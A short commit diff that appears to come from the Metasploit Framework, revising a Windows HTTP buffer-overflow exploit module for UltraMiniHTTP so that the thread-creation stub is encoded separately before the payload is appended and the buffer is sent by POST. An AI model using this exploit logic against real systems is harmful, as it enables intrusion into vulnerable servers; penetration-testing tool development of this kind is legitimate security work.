Apply @jlee-r7's feedback

Author: jvazquez-r7

modules/exploits/windows/http/ultraminihttp_bof.rb

@@ -160,8 +160,9 @@ def exploit
     # we re-encode, including the thread creation stuff and the chosen payload
     # as we don't currently have the ability to "prepend raw" stuff to the front
     # of the buffer prior to encoding.
-    buf << encode_shellcode_stub(new_thread + payload.encoded)
-    
+    buf << encode_shellcode_stub(new_thread)
+    buf << payload.encoded
+
     print_status("Sending buffer...")
     send_request_cgi({
       'method' => 'POST',